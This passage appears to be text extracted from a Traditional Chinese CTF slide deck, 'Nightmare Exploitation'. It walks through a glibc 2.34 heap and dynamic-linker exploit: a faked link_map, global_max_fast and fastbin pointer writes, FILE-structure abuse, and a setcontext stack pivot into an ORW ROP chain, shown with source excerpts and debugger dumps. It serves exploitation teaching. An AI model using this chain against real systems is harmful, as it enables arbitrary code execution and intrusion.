            DL_CALL_DT_FINI(l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
    }
}
```


`_dl_fini`

















```
u1f383@u1f383:~$ _dl_fixup()
{
    if (...)
    {
        result_link_map = _dl_lookup_symbol_x (strtab + sym->st_name);
        value = l->l_addr + sym->st_value
    }
}
```

原本要找“write”，但被改成“`_dl_x86_get_cpu_features`”



- Linker
- Library
- Executable







執行 `_dl_fini` function，並把 `_dl_fini` 填到 `_Exit@got`。到此我們不再需要偏移 `I_addr`，復原的同時也會讓 `_dl_fini` 解析到 `write@got`



- Linker
- Library
- Executable

\$ Nightmare Exploitation

- ▶ Exploit 可以分成以下步驟
 - ⦿ 1. 將 write 解析到 `_Exit@got` 達到不限次數限制的寫
 - ⦿ 2. 透過更改 symbol `st_other` 藉此清除版本資訊，避免版本資訊影響結果
 - ⦿ 3. 解析 ld 的 `_dl_fini` function 並寫到 `write@got`
 - ⦿ 4. 透過 `_dl_fini` 構造任意呼叫的 primitive
 - ⦿ 5. 為假的 `link_map` 構造 symbol table
 - ⦿ 6. 為假的 `link_map` 設置其他 table
 - ⦿ 7. 建構 `stack pivoting + ORW` 的 ROP chain
 - ⦿ 8. Win !








\$ Nightmare Exploitation

- ▶ Lock 的處理可能會讓程式終止，因此要讓 mutex lock 的處理什麼都不做
- ▶ 處理常見的 lock type
- ▶ 如果不常見，丟給完整的 handler 處理



```
pthread_mutex_lock()
{
    ...
    if (__builtin_expect (type & ~(PTHREAD_MUTEX_KIND_MASK_NP
                                    | PTHREAD_MUTEX_ELISION_FLAGS_NP), 0))
        return __pthread_mutex_lock_full (mutex);
}

__pthread_mutex_lock_full()
{
    ...
    switch (PTHREAD_MUTEX_TYPE (mutex))
    {
        ...
        default:
            return EINVAL;
    }
}
```

\$ Nightmare Exploitation


- ▶ Lock 的處理可能會讓程式終止，因此要讓 mutex lock 的處理什麼都不做
- ▶ 處理常見的 lock type
- ▶ 如果不常見，丟給完整的 handler 處理

```
u1f383@u1f383:/ $ pthread_mutex_lock()
{
    ...
    if (__builtin_expect (type & ~(PTHREAD_MUTEX_KIND_MASK_NP
        | PTHREAD_MUTEX_ELISION_FLAGS_NP), 0))
        return __pthread_mutex_lock_full (mutex);
}

__pthread_mutex_lock_full()
{
    ...
    switch (PTHREAD_MUTEX_TYPE (mutex))
    {
        ...
        default:
            return EINVAL;
    }
}
```

傳非法 lock type 如 0xff 最後只會回傳 error code

\$ Nightmare Exploitation



```
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
    __rtld_lock_lock_recursive(GL(dl_load_lock));
    ...
    else
    {
        ...
        __rtld_lock_unlock_recursive(GL(dl_load_lock));
        ...
    }
}
```

_dl_fini

由於 _dl_fini 不會處理回傳的 error code，因此將可以直接把
_rtld_global._dl_load_lock_.kind (lock type) 設為 **0xff**

\$ Nightmare Exploitation

- ▶ Exploit 可以分成以下步驟
 - ⦿ 1. 將 write 解析到 `_Exit@got` 達到不限次數限制的寫
 - ⦿ 2. 透過更改 symbol `st_other` 藉此清除版本資訊，避免版本資訊影響結果
 - ⦿ 3. 解析 ld 的 `_dl_fini` function 並寫到 `write@got`
 - ⦿ 4. 透過 `_dl_fini` 構造任意呼叫的 primitive
 - ⦿ 5. 為假的 `link_map` 構造 symbol table
 - ⦿ 6. 為假的 `link_map` 設置其他 table
 - ⦿ 7. 建構 `stack pivoting + ORW` 的 ROP chain
 - ⦿ 8. Win !


\$ Nightmare Exploitation

- ▶ 後續需要使用 `_dl_fixup` 來解析 gadget 位址，因此我們要構造出一個 `link_map`
- ▶ `l_info[]` 存放的是 `pointer`，因此我們需要能夠寫入 `pointer` 的 primitive
- ▶ 透過以下流程：
 - ⦿ 蓋寫變數 `global_max_fast` 成很大的值，讓 fastbin 的範圍變大
 - ⦿ 控制 size 使得 chunk 進入 fastbin 後，會在對應 offset 的地方儲存此 chunk 的 pointer
 - ⦿ 呼叫 `_IO_str_overflow` 做 malloc
 - ⦿ 呼叫 `_IO_str_finish` 做 free，chunk 進入 fastbin，寫 pointer 在 offset 處

\$ Nightmare Exploitation

- ▶ 後續需要使用 `_dl_fixup` 來解析 gadget 位址，因此我們要構造出一個 `link_map`
- ▶ `l_info[]` 存放的是 `pointer`，因此我們需要能夠寫入 `pointer` 的 primitive
- ▶ 透過以下流程：
 - ⦿ 蓋寫變數 `global_max_fast` 成很大的值，讓 `fastbin` 的範圍變大
 - ⦿ 控制 `size` 使得 `chunk` 進入 `fastbin` 後，會在對應 `offset` 的地方儲存此 `chunk` 的 `pointer`
 - ⦿ 呼叫 `_IO_str_overflow` 做 `malloc`
 - ⦿ 呼叫 `_IO_str_finish` 做 `free`，`chunk` 進入 `fastbin`，寫 `pointer` 在 `offset` 處

\$ Nightmare Exploitation




```
static inline INTERNAL_SIZE_T
get_max_fast (void)
{
    if (global_max_fast > MAX_FAST_SIZE)
        __builtin_unreachable ();
    return global_max_fast;
}
```

global_max_fast 定義 fastbin 的範圍，雖然在 glibc 中會用 **get_max_fast** 檢查此變數是否合法，但其實檢查會被 compiler 優化掉


\$ Nightmare Exploitation

- ▶ 後續需要使用 `_dl_fixup` 來解析 gadget 位址，因此我們要構造出一個 `link_map`
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 - ⦿ 蓋寫變數 `global_max_fast` 成很大的值，讓 fastbin 的範圍變大
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 - ⦿ 呼叫 `_IO_str_overflow` 做 malloc
 - ⦿ 呼叫 `_IO_str_finish` 做 free，chunk 進入 fastbin，寫 pointer 在 offset 處

\$ Nightmare Exploitation




\$ Nightmare Exploitation



\$ Nightmare Exploitation

- ▶ 後續需要使用 `_dl_fixup` 來解析 gadget 位址，因此我們要構造出一個 `link_map`
- ▶ `l_info[]` 存放的是 `pointer`，因此我們需要能夠寫入 `pointer` 的 primitive
- ▶ 透過以下流程：
 - ⦿ 蓋寫變數 `global_max_fast` 成很大的值，讓 fastbin 的範圍變大
 - ⦿ 控制 size 使得 chunk 進入 fastbin 後，會在對應 offset 的地方儲存此 chunk 的 pointer
 - ⦿ 呼叫 `_IO_str_overflow` 做 `malloc`
 - ⦿ 呼叫 `_IO_str_finish` 做 `free`，chunk 進入 fastbin，寫 `pointer` 在 offset 處

\$ Nightmare Exploitation



A terminal window titled "u1f383@u1f383:/". The prompt is "\$ |". The code shown is a C function named `_IO_str_overflow`. It includes a preprocessor define `_IO_blen(fp)`, which is the difference between the current buffer end and the current buffer base. The function logic handles overflow by calculating a new buffer size (double the old size plus 100), allocating memory, and updating the write base. It also handles the case where the new size is less than the old size by returning EOF.

```
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)

_IO_str_overflow(FILE *fp, int c)
{
    int flush_only = c == EOF;
    size_t pos;
    pos = fp->_IO_write_ptr - fp->_IO_write_base; // pos = 0
    if (pos >= (size_t) (_IO_blen(fp) + flush_only)) // 0 >= 0
    {
        char *new_buf;
        size_t old_blen = _IO_blen(fp);
        size_t new_size = 2 * old_blen + 100;
        if (new_size < old_blen)
            return EOF;
        new_buf = malloc(new_size);
        ...
        _IO_setb(fp, new_buf, new_buf + new_size, 1);
        ...
        fp->_IO_write_base = new_buf;
    }
    ...
    return c;
}
```

`_IO_str_overflow`

\$ Nightmare Exploitation

```
u1f383@u1f383:/ %1
```

```
$ #define _IO_blen(fp) ((fp)->_IO_blen)
```

```
_IO_str_overflow(FILE *fp, int c)
{
    int flush_only = c == EOF;
    size_t pos;
    pos = fp->_IO_write_ptr - fp->_IO_write_base; // pos = 0
    if (pos >= (size_t) (_IO_blen(fp) + flush_only)) // 0 >= 0
    {
        char *new_buf;
        size_t old_blen = _IO_blen(fp);
        size_t new_size = 2 * old_blen + 100;
        if (new_size < old_blen)
            return EOF;
        new_buf = malloc(new_size);
        ...
        _IO_setb(fp, new_buf, new_buf + new_size, 1);
        ...
    }
    return c;
}
```

rdi 會指向 `_rtld_global._dl_load_lock_`，
因此可以控制 `_IO_FILE` 的結構

如果要 `malloc(size)`，則 `old_blen` 需要是 $(size - 100) / 2$

`_IO_str_overflow`

\$ Nightmare Exploitation

Before

```
pwndbg> p *fp
$1 = {
    _flags = 0,
    _IO_read_ptr = 0xffffffffffff <error: Cannot access memory at address 0xffffffffffff>,
    _IO_read_end = 0xffffffffffff <error: Cannot access memory at address 0xffffffffffff>,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x49da7 <error: Cannot access memory at address 0x49da7>,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x49da6 <error: Cannot access memory at address 0x49da6>}
```

After

```
pwndbg> p *fp
$3 = {
    _flags = 0,
    _IO_read_ptr = 0x15555524100f "",
    _IO_read_end = 0x15555528adb8 "",
    _IO_read_base = 0x155555241010 "", //<----- here
    _IO_write_base = 0x155555241010 "", //<----- here
    _IO_write_ptr = 0x15555528adb8 "",
    _IO_write_end = 0x1555552d4bc0 "",
    _IO_buf_base = 0x155555241010 "", //<----- here
    _IO_buf_end = 0x1555552d4bc0 ""},
```

read_base / write_base / buf_base 指向 malloc 的 chunk

\$ Nightmare Exploitation

- ▶ 後續需要使用 `_dl_fixup` 來解析 gadget 位址，因此我們要構造出一個 `link_map`
- ▶ `l_info[]` 存放的是 `pointer`，因此我們需要能夠寫入 `pointer` 的 primitive
- ▶ 透過以下流程：
 - ⦿ 蓋寫變數 `global_max_fast` 成很大的值，讓 fastbin 的範圍變大
 - ⦿ 控制 size 使得 chunk 進入 fastbin 後，會在對應 offset 的地方儲存此 chunk 的 pointer
 - ⦿ 呼叫 `_IO_str_overflow` 做 `malloc`
 - ⦿ 呼叫 `_IO_str_finish` 做 `free`，chunk 進入 fastbin，寫 `pointer` 在 offset 處


\$ Nightmare Exploitation

需要 unset mmap bit 以及 set prev_inuse bit

```
pwndbg> x/10gx fp->_IO_buf_base - 0x10
0x155555241000: 0x0000000000000000          0x0000000000093bb1
0x155555241010: 0x0000000000000000          0x0000000000000000
0x155555241020: 0x0000000000000000          0x0000000000000000
0x155555241030: 0x0000000000000000          0x0000000000000000
0x155555241040: 0x0000000000000000          0x0000000000000000
```

構造假的 next chunk header

```
pwndbg> x/10gx fp->_IO_buf_base - 0x10 + 0x93bb0
0x1555552d4bb0: 0x0000000000000000          0x0000000000000050
0x1555552d4bc0: 0x0000000000000000          0x0000000000000000
0x1555552d4bd0: 0x0000000000000000          0x0000000000000000
0x1555552d4be0: 0x0000000000000000          0x0000000000000000
0x1555552d4bf0: 0x0000000000000000          0x0000000000000000
```



```
void _IO_str_finish(FILE *fp,
{
    free(fp->_IO_buf_base);
    fp->_IO_buf_base = NULL;
    _IO_default_finish(fp, 0);
}
```

chunk 被釋放並且進入 fastbin

_IO_str_finish

\$ Nightmare Exploitation

- ▶ 有了 `ptr_write primitive` 之後 (寫 pointer 到 offset 處) 可以用來構造 symbol table
 - ⦿ 與其他 table 不同的是，symbol table 的 `Elf64_Dyn.d_un.d_ptr` 必須要是合法的 pointer
- ▶ 建構步驟：
 - ⦿ 為 Symbol table 建立一塊空間
 - ⦿ 竄改 Symbol table 對應到 chunk 的 header，將大小改成為 `0x200`
 - ⦿ 利用 `_IO_FILE.read_base` 所殘留的 pointer，讓此塊 chunk 再次被釋放，進入 tcache
 - ⦿ 透過 `__open_memstream` 取得此塊 chunk，其中 `__open_memstream` 會寫入合法的 pointer

\$ Nightmare Exploitation

- ▶ 有了 `ptr_write` primitive 之後 (寫 pointer 到 offset 處) 可以用來構造 symbol table
 - ⦿ 與其他 table 不同的是，symbol table 的 `Elf64_Dyn.d_un.d_ptr` 必須要是合法的 pointer
- ▶ 建構步驟：
 - ⦿ 為 Symbol table 建立一塊空間 **直接用 `ptr_write` 建立**
 - ⦿ 竄改 Symbol table 對應到 chunk 的 header，將大小改成為 `0x200`
 - ⦿ 利用 `_IO_FILE.read_base` 所殘留的 pointer，讓此塊 chunk 再次被釋放，進入 tcache
 - ⦿ 透過 `__open_memstream` 取得此塊 chunk，其中 `__open_memstream` 會寫入合法的 pointer

\$ Nightmare Exploitation

- ▶ 有了 `ptr_write primitive` 之後 (寫 pointer 到 offset 處) 可以用來構造 symbol table
 - ⦿ 與其他 table 不同的是，symbol table 的 `Elf64_Dyn.d_un.d_ptr` 必須要是合法的 pointer
- ▶ 建構步驟：
 - ⦿ 為 Symbol table 建立一塊空間
 - ⦿ 竄改 Symbol table 對應到 chunk 的 header，將大小改成為 0x200
 - ⦿ 利用 `_IO_FILE.read_base` 所殘留的 pointer，讓此塊 chunk 再次被釋放，進入 tcache
 - ⦿ 透過 `__open_memstream` 取得此塊 chunk，其中 `__open_memstream` 會寫入合法的 pointer

\$ Nightmare Exploitation

```
u1f383@u1f383:/
```

```
$ FILE *
__open_memstream(char **bufloc, size_t *sizeloc)
{
    struct locked_FILE
    {
        struct _IO_FILE_memstream fp;
        _IO_lock_t lock;
        struct _IO_wide_data wd;
    } * new_f;
    char *buf;

    new_f = (struct locked_FILE *)malloc(sizeof(struct locked_FILE));
    new_f->fp._sf._sbf._f._lock = &new_f->lock;
    return (FILE *)&new_f->fp._sf._sbf;
}
```

我們要控制的 struct 大小為 0x1f8，會拿到 0x200 大的 chunk，因此要放到 0x200 tcache bin

\$ Nightmare Exploitation

- ▶ 有了 `ptr_write primitive` 之後 (寫 pointer 到 offset 處) 可以用來構造 symbol table
 - ⦿ 與其他 table 不同的是，symbol table 的 `Elf64_Dyn.d_un.d_ptr` 必須要是合法的 pointer
- ▶ 建構步驟：
 - ⦿ 為 Symbol table 建立一塊空間
 - ⦿ 竄改 Symbol table 對應到 chunk 的 header，將大小改成為 `0x200`
 - ⦿ 利用 `_IO_FILE.read_base` 所殘留的 pointer，讓此塊 chunk 再次被釋放，進入 tcache
 - ⦿ 透過 `__open_memstream` 取得此塊 chunk，其中 `__open_memstream` 會寫入合法的 pointer

\$ Nightmare Exploitation

```
pwndbg> p (*(struct _IO_FILE *) 0x1555555549c8)
$2 = {
    _flags = 0,
    _IO_read_ptr = 0x15555524100f "",
    _IO_read_end = 0x15555528adff "",
    _IO_read_base = 0x155555241010 "ARUU\001",
    _IO_write_base = 0x155555241010 "ARUU\001",
    _IO_write_ptr = 0x15555528adb8 "",
    _IO_write_end = 0x1555552d4bc0 "",
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x1555552d4bc0 "",
```

即使 chunk 被釋放，仍有殘留在 _IO_FILE 的 pointer，
像是 **read_base** 與 **write_base** 都指向該 chunk

\$ Nightmare Exploitation

swap(read_end, save_end)
swap(read_base, save_base)

```
u1f383@u1f383:/
```

```
void _IO_switch_to_backup_area(FILE *fp)
{
    char *tmp;
    fp->_flags |= _IO_IN_BACKUP;

    tmp = fp->_IO_read_end;
    fp->_IO_read_end = fp->_IO_save_end;
    fp->_IO_save_end = tmp;

    tmp = fp->_IO_read_base;
    fp->_IO_read_base = fp->_IO_save_base;
    fp->_IO_save_base = tmp;

    fp->_IO_read_ptr = fp->_IO_read_end;
}
```

為了再次 free chunk，先透過此 function 將 read
pointer 與 **save pointer** 交換

\$ Nightmare Exploitation

並且交換後仍須確保 lock type 為 invalid，因此要先更改 `save_end`

```
pwndbg> p (*(struct _IO_FILE *) 0x1555555549c8)
$1 = {
    _flags = 256,
    _IO_read_ptr = 0xff <error: Cannot access memory at address 0xff>,
    _IO_read_end = 0xff <error: Cannot access memory at address 0xff>,
    _IO_read_base = 0x0,
    _IO_write_base = 0x155555241010 "ARUU\001",
    _IO_write_ptr = 0x1555552adb8 "",
    _IO_write_end = 0x1555552d4bc0 "",
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x1555552d4bc0 "",
    _IO_save_base = 0x155555241010 "ARUU\001",
```

```
pwndbg> p _rtld_global._dl_load_lock
$2 = {
    mutex = {
        __data = {
            __lock = 256,
            __count = 0,
            __owner = 255,
            __nusers = 0,
            __kind = 255,
```

交換後指向 chunk 的 pointer 會被放到 `save_base`

\$ Nightmare Exploitation

```
u1f383@u1f383:/
```

```
void _IO_free_backup_area(FILE *fp)
{
    if (_IO_in_backup(fp))
        _IO_switch_to_main_get_area(fp);
    free(fp->_IO_save_base);
    fp->_IO_save_base = NULL;
    fp->_IO_save_end = NULL;
    fp->_IO_backup_base = NULL;
}
```

透過此 function 釋放 chunk，因此
chunk 進入 tcache 當中

```
In file: /usr/src/glibc/glibc-2.34/libio/genops.c
187 {
188     if (_IO_in_backup (fp))
189         _IO_switch_to_main_get_area (fp); /* Just in case */
190     free (fp->_IO_save_base);
191     fp->_IO_save_base = NULL,
► 192     fp->_IO_save_end = NULL;
193     fp->_IO_backup_base = NULL;
194 }
195 libc_hidden_def (_IO_free_backup_area)
196
197 int
```

00:0000	rsp 0x7fffffff7010 -> 0x155555554040 (_rtld_local)
01:0008	0x7fffffff7018 -> 0x15555553286d (_dl_fini+55)
02:0010	r13 0x7fffffff7020 -> 0x15555555220 <- 0xffffffff
03:0018	0x7fffffff7028 -> 0x155555557d0 -> 0x15555555
04:0020	0x7fffffff7030 -> 0x15555551a000 -> 0x1555553
05:0028	0x7fffffff7038 -> 0x15555554a48 (_rtld_local)
06:0030	0x7fffffff7040 <- 0x7fffffff7040
07:0038	0x7fffffff7048 -> 0x7fffffff7040 <- 0x7fffff

```
[ BACKUP]
```

► f 0	0x1555539d1a1 _IO_free_backup_area+33
f 1	0x1555553286d _dl_fini+557
f 2	0x555555553d9 nightmare+163
f 3	0x5555555544d __libc_csu_init+77
f 4	0x7fffffff7130
f 5	0x15555554a48 _rtld_local+2568
f 6	0xff007fffffff7118
f 7	0x280217

```
pwndbg> x/10gx 0x555555559000 + 0x170
0x555555559170: 0x0000000000000000 0x0000000000000000
0x555555559180: 0x000015555241010 0x0000000000000000
```

0x200 tcache bin

\$ Nightmare Exploitation

- ▶ 有了 `ptr_write primitive` 之後 (寫 pointer 到 offset 處) 可以用來構造 symbol table
 - ⦿ 與其他 table 不同的是，symbol table 的 `Elf64_Dyn.d_un.d_ptr` 必須要是合法的 pointer
- ▶ 建構步驟：
 - ⦿ 為 Symbol table 建立一塊空間
 - ⦿ 竄改 Symbol table 對應到 chunk 的 header，將大小改成為 `0x200`
 - ⦿ 利用 `_IO_FILE.read_base` 所殘留的 pointer，讓此塊 chunk 再次被釋放，進入 tcache
 - ⦿ 透過 `__open_memstream` 取得此塊 chunk，其中 `__open_memstream` 會寫入合法的 pointer

\$ Nightmare Exploitation





```
FILE *
__open_memstream(char **bufloc, size_t *sizeloc)
{
    struct locked_FILE
    {
        struct _IO_FILE_memstream fp;
        _IO_lock_t lock;
        struct _IO_wide_data wd;
    } * new_f;
    char *buf;

    new_f = (struct locked_FILE *)malloc(sizeof(struct locked_FILE));
    new_f->fp._sf._sbf._f._lock = &new_f->lock;
    return (FILE *)&new_f->fp._st._sbt;
}
```

在 chunk 内寫入指向 chunk
内部的 pointer


會拿到剛才釋放的 chunk








\$ Nightmare Exploitation


- ▶ Exploit 可以分成以下步驟
 - ⦿ 1. 將 write 解析到 `_Exit@got` 達到不限次數限制的寫
 - ⦿ 2. 透過更改 symbol `st_other` 藉此清除版本資訊，避免版本資訊影響結果
 - ⦿ 3. 解析 ld 的 `_dl_fini` function 並寫到 `write@got`
 - ⦿ 4. 透過 `_dl_fini` 構造任意呼叫的 primitive
 - ⦿ 5. 為假的 `link_map` 構造 symbol table
 - ⦿ 6. 為假的 `link_map` 設置其他 table
 - ⦿ 7. 建構 `stack pivoting + ORW` 的 ROP chain
 - ⦿ 8. Win !
















\$ Nightmare Exploitation

- ▶ Exploit 可以分成以下步驟
 - ⦿ 1. 將 write 解析到 `_Exit@got` 達到不限次數限制的寫
 - ⦿ 2. 透過更改 symbol `st_other` 藉此清除版本資訊，避免版本資訊影響結果
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 - ⦿ 5. 為假的 `link_map` 構造 symbol table
 - ⦿ 6. 為假的 `link_map` 設置其他 table
 - ⦿ 7. 建構 stack pivoting + ORW 的 ROP chain
 - ⦿ 8. Win !



\$ Nightmare Exploitation




```
u1f383@u1f383:/
```

```
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
    symtab = l->l_info[ DT_SYMTAB ].d_un.d_ptr;
    strtab = l->l_info[ DT_STRTAB ].d_un.d_ptr;
    pltgot = l->l_info[ DT_PLTGOT ].d_un.d_ptr;
    reloc = l->l_info[ DT_JMPREL ].d_un.d_ptr + 0x18 * reloc_arg;
    sym = &symtab[ reloc->r_info >> 32 ];
    rel_addr = l->l_addr + reloc->r_offset;
    value = l->l_addr + sym->st_value;
    return *rel_addr = value;
}
```

更精簡版 `_dl_fixup (st_other != 0)`

\$ Nightmare Exploitation




```
u1f383@u1f383:/
```

```
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
    symtab = l->l_info[ DT_SYMTAB ].d_un.d_ptr;
    strtab = l->l_info[ DT_STRTAB ].d_un.d_ptr; 用不到
    pltgot = l->l_info[ DT_PLTGOT ].d_un.d_ptr;
    reloc = l->l_info[ DT_JMPREL ].d_un.d_ptr + 0x18 * reloc_arg;
    sym = &symtab[ reloc->r_info >> 32 ];
    rel_addr = l->l_addr + reloc->r_offset;
    value = l->l_addr + sym->st_value;
    return *rel_addr = value;
}
```

更精簡版 _dl_fixup (st_other != 0)

\$ Nightmare Exploitation



```
u1f383@u1f383:/
```

```
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
    symtab = l->l_info[ DT_SYMTAB ].d_un.d_ptr;
    reloc = l->l_info[ DT_JMPREL ].d_un.d_ptr + 0x18 * reloc_arg;
    sym = &symtab[ reloc->r_info >> 32 ];
    rel_addr = l->l_addr + reloc->r_offset;
    value = l->l_addr + sym->st_value;
    return *rel_addr = value;
}
```

超精簡版 _dl_fixup (st_other != 0)

\$ Nightmare Exploitation

Fake link_map


1

```
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
    symtab = l->l_info[DT_SYMTAB].d_un.d_ptr;
    reloc = l->l_info[DT_JMPREL].d_un.d_ptr + 0x18 * reloc_arg;
    sym = &symtab[reloc->r_info >> 32];
    rel_addr = l->l_addr + reloc->r_offset;
    value = l->l_addr + sym->st_value;
    return *rel_addr = value;
}
```

可控

超精簡版 _dl_fixup (st_other != 0)

\$ Nightmare Exploitation




```
u1f383@u1f383:/
```

```
_dl_fixup()
{
    reloc = fake_linkmap->l_info[ DT_JMPREL ].d_un.d_ptr + 0x18;
    sym = fake_linkmap->l_info[ DT_SYMTAB ].d_un.d_ptr;
    *(fake_linkmap->l_addr + reloc->r_offset) =
        (fake_linkmap->l_addr + sym->st_value);
}
```

無敵精簡版 _dl_fixup (st_other != 0)

\$ Nightmare Exploitation



```
_dl_fixup()
{
    reloc = fake_linkmap->l_info[ DT_JMPREL ].d_un.d_ptr + 0x18;
    sym = fake_linkmap->l_info[ DT_SYMTAB ].d_un.d_ptr;
    *(fake_linkmap->l_addr + reloc->r_offset) =
        (fake_linkmap->l_addr + sym->st_value);
}
```

可控

無敵精簡版 _dl_fixup (st_other != 0)

\$ Nightmare Exploitation

- ▶ Exploit 可以分成以下步驟
 - ⦿ 1. 將 write 解析到 `_Exit@got` 達到不限次數限制的寫
 - ⦿ 2. 透過更改 symbol `st_other` 藉此清除版本資訊，避免版本資訊影響結果
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 - ⦿ 6. 為假的 `link_map` 設置其他 table
 - ⦿ 7. 建構 stack pivoting + ORW 的 ROP chain
 - ⦿ 8. Win !

\$ Nightmare Exploitation

► 有了任意寫 gadget 後，應該就有很多方式可以做 ORW

從 [rdi+8] 控 rdx

► 這邊使用到了一個滿常見的手法：

- ⦿ 在任意位址建立 ORW 的 ROP chain
- ⦿ 用 <getkeyserv_handle+528> 以及 <setcontext+61> 做 stack pivoting

The screenshot shows assembly code from a debugger. The code uses gadgets to manipulate registers rdx, rsp, and rcx. Red boxes highlight specific instructions:

- A red box surrounds the instruction `mov rdx, QWORD PTR [rdi+0x8]`. A yellow box labeled "從 [rdi+8] 控 rdx" is placed over it.
- A red box surrounds the instruction `mov rsp, QWORD PTR [rdx+0xa0]`. A yellow box labeled "從 [rdx+0xa0] 控 rsp" is placed over it.
- A red box surrounds the instruction `push rcx`. A yellow box labeled "需要注意 rdx+0xa8" is placed over it.

```
$ <getkeyserv_handle+528>:    mov    rdx, QWORD PTR [rdi+0x8]
$ <getkeyserv_handle+532>:    mov    QWORD PTR [rsp], rax
$ <getkeyserv_handle+536>:    call   QWORD PTR [rdx+0x20]


<setcontext+61>:      mov    rsp, QWORD PTR [rdx+0xa0]
<setcontext+68>:      mov    rdx, QWORD PTR [rdx+0x80]
<setcontext+75>:      ...    TR [rdx+0x78]
<setcontext+79>:      ...    TR [rdx+0x48]
<setcontext+83>:      ...    TR [rdx+0x50]
<setcontext+87>:      mov    r14, QWORD PTR [rdx+0x58]
<setcontext+91>:      mov    r15, QWORD PTR [rdx+0x60]
<setcontext+95>:      test   DWORD PTR fs:0x48, 0x2
<setcontext+107>:     je     XXX <setcontext+294>

<setcontext+294>:     mov    rcx, QWORD PTR [rdx+0xa8]
<setcontext+301>:     push   rcx
<setcontext+308>:     ...    R [rdx+0x70]
<setcontext+315>:     ...    R [rdx+0x68]
<setcontext+322>:     ...    R [rdx+0x98]
<setcontext+317>:     mov    r8, QWORD PTR [rdx+0x28]
<setcontext+321>:     mov    r9, QWORD PTR [rdx+0x30]
<setcontext+325>:     mov    rdx, QWORD PTR [rdx+0x88]
<setcontext+332>:     xor    eax, eax
<setcontext+334>:     ret
```

\$ Nightmare Exploitation

- ▶ 有了任意寫 gadget 後，應該就有很多方式可以做 ORW
- ▶ 這邊使用到了一個滿常見的手法：
 - ⦿ 在任意位址建立 ORW 的 ROP chain
 - ⦿ 用 <getkeyserv_handle+528> 以及 <setcontext+61> 做 stack pivoting

最後 linkmap 的長相



\$ Nightmare Exploitation

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 - ⦿ 5. 為假的 `link_map` 構造 symbol table
 - ⦿ 6. 為假的 `link_map` 設置其他 table
 - ⦿ 7. 建構 `stack pivoting + ORW` 的 ROP chain
 - ⦿ 8. Win !

\$ Nightmare Exploitation

```
[★] # STEP.0
## Executable
DT_STRTAB:          0x555555554500
DT_SYMTAB:          0x5555555543e0
binary link_map:    p (*(struct link_map *) 0x15555555220)

## ld
DT_STRTAB:          0x1555555227b0
DT_SYMTAB:          0x1555555224b0
ld link_map:        p (*(struct link_map *) 0x15555554a48)

## other
struct rela size:   0x18
struct sym size:    0x18
show heapinfo:       heapinfo 0x15555550ac60

# STEP.4
fake_linkmap addr:  p (*(struct link_map *) 0x1555555549c8)
fake_io addr:        p (*(struct _IO_FILE *) 0x1555555549c8)

# STEP.5
main_arena:          p (*(struct malloc_state *) 0x15555550ac60)
global_max_fast:     x/gx 0x1555555121c0
__open_memstream():   p *(struct _IO_FILE_memstream *) 0x155555241010
[★] Process './N' stopped with exit code 1 (pid 1928332)
[★] flag is FLAG{TEST}
```